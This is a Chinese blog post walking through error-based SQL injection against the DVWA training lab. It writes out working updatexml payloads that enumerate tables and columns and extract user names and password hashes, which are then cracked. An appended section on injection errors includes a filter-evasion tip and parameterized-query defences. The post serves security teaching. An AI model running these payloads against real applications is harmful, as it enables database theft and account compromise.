SQL注入之报错注入

以DVWA靶场为例:

一、测试注入点既类型:

输入'

        存在注入点且为符号型单引号闭合型

二、获取数据库名:

输入'and (updatexml(1,concat(0x7e,(select database()),0x7e),1))='1

数据库名为dvwa

三、获取数据库表名:

输入'and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),0x7e),1))='1

        数据库dvwa中有两个表,分别叫guestbook,users

        猜测登录账号密码在users里

四、获取users里的字段名

输入'and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'),0x7e),1))='1

        为什么会出现显示不全的情况呢?(右边的~未显示)

        因为报错显示位有限(32位),据猜测字段语义我们可以排除已经显示的几个字段里不存在我们需要的账户与密码,所以接下来我们用substring()函数查看后面的字段名

输入'and (updatexml(1,concat(0x7e,(select substring(group_concat(column_name),25,30) from information_schema.columns where table_name='users' and table_schema='dvwa'),0x7e),1))='1

        显然我们要的账号与密码分别在user与password字段中

五、获取user与password字段具体的值

        同样我们获取具体值的时候也要注意报错显示只有32位,这里我们用limit()函数限制每次读取一对账号密码(limit 0,1表示只查询1条数据,索引从0开始,第1条记录,依次修改索引,将全部数据读出)

读取第一对账号密码:

输入'and (updatexml(1,concat(0x7e,(select concat('~',user,'~',password,'~') from users limit 0,1),0x7e),1))='1

        这里明显显示不全,为了将密码全部一次读出,多次构造注入尝试,发现无法一次读出完整密码,只能分两次读出并拼接,多次尝试发现substring(32,35)刚好可以读出剩余密码以便拼接。

输入'and (updatexml(1,concat(0x7e,(select substring(concat('~',user,'~',password,'~'),32,35) from users limit 0,1),0x7e),1))='1

账号为:admin

密码拼接后:431a90268fe4538ec36e1bb6307418dc

发现md5解密失败!估计是测试账号

        依次更改limit()函数的参数,从limit 0,1-->limt 1,1-->...-->limit 4,1-->...一直到无响应为止,将剩余账号密码读出并解密

账号2:

账号:gordonb

密码拼接后:e99a18c428cb38d5f260853678922e03

解密后:abc123

账号3:

账号:1337

密码拼接后:8d3533d75ae2c3966d7e0d4fcc69216b

解密后:charley

账号4:

账号:pablo

密码拼接后:0d107d09f5bbe40cade3de5c71e9e9b7

解密后:letmein

账号5:

账号:smithy

密码拼接后:5f4dcc3b5aa765d61d8327deb882cf99

解密后:password

输入'and (updatexml(1,concat(0x7e,(select concat('~',user,'~',password,'~') from users limit 5,1),0x7e),1))='1

        无响应,故可判断数据库内只存放了五对账号密码

        我们还可以通过联合查询注入(见我的博文《SQL注入基础篇》)验证我们查询的真伪:

输入1' union select user,password from users#

        可以看到和我们报错注入的结果一致。

### SQL注入报错的原因分析与解决方案 #### 一、SQL注入报错原因 SQL注入过程中出现的报错通常是因为输入的数据破坏了原始SQL语句的语法结构,或者触发了数据库的安全机制。以下是常见的几种报错场景及其成因: 1. **语法错误** 当攻击者尝试通过拼接恶意字符串来修改SQL查询逻辑时,可能会导致SQL语句无法正常解析而引发语法错误。例如,在`sqli-labs`的第一关中,如果仅闭合单引号而不处理后续部分,则可能导致前端页面显示类似“syntax error”的提示[^2]。 2. **权限不足** 数据库操作可能涉及特定用户的访问控制策略。当执行某些敏感命令(如读取文件或调用系统函数)时,若当前账户缺乏相应权限,也会抛出异常信息。 3. **防御措施生效** 现代Web应用往往配备多种防护手段对抗SQL注入威胁,比如WAF(Web Application Firewall),它能够识别并拦截可疑请求;另外还有参数化查询等编程层面的最佳实践可以有效规避此类漏洞的发生。 4. **数据类型冲突** 如果注入点预期接收整数型参数却收到字符型输入,那么转换失败同样会造成运行期崩溃现象。 #### 二、解决SQL注入报错的方法 针对上述提到的各种情形,下面列举了一些通用的技术应对办法: 1. **调整测试载荷(Payload)** 对于简单的语法问题,可以通过精心设计payload使得最终形成的完整query既满足业务需求又能绕过初步筛查。举个例子来说就是采用编码技术隐藏特殊符号的真实含义直到被目标引擎解读为止。 2. **利用条件判断代替直接输出** 考虑到有些场合不允许看到确切的error message,此时可改用布尔盲注法或者其他间接方式获取所需情报而不是依赖显式的fault report. 3. **借助工具自动化探索过程** 使用像SQLMap这样的开源软件可以帮助快速定位潜在风险区域以及自动适应不同的环境配置从而减少手动调试的工作量。假如遇到Windows平台上关于SQLMap本身的setup难题的话,按照官方文档指示逐步排查直至成功部署也是必要的步骤之一[^3]. 4. **增强应用程序安全性建议** - 实施严格的输入验证流程确保所有外部传入的数据都经过适当过滤后再参与内部运算。 - 推荐始终优先选用预编译语句而非动态组装string形式的commands. - 定期审查源码查找任何可能成为突破口的位置加以修正完善。 ```python import pymysql.cursors connection = pymysql.connect(host='localhost', user='user', password='passwd', database='db', cursorclass=pymysql.cursors.DictCursor) try: with connection.cursor() as cursor: sql = "SELECT * FROM users WHERE username=%s AND password=MD5(%s)" cursor.execute(sql, ('admin', 'password')) # 参数绑定防止SQL Injection finally: connection.close() ``` 以上代码片段展示了如何安全地构建SQL查询以防范传统意义上的injection attack。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Zhanduanwanfeng

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值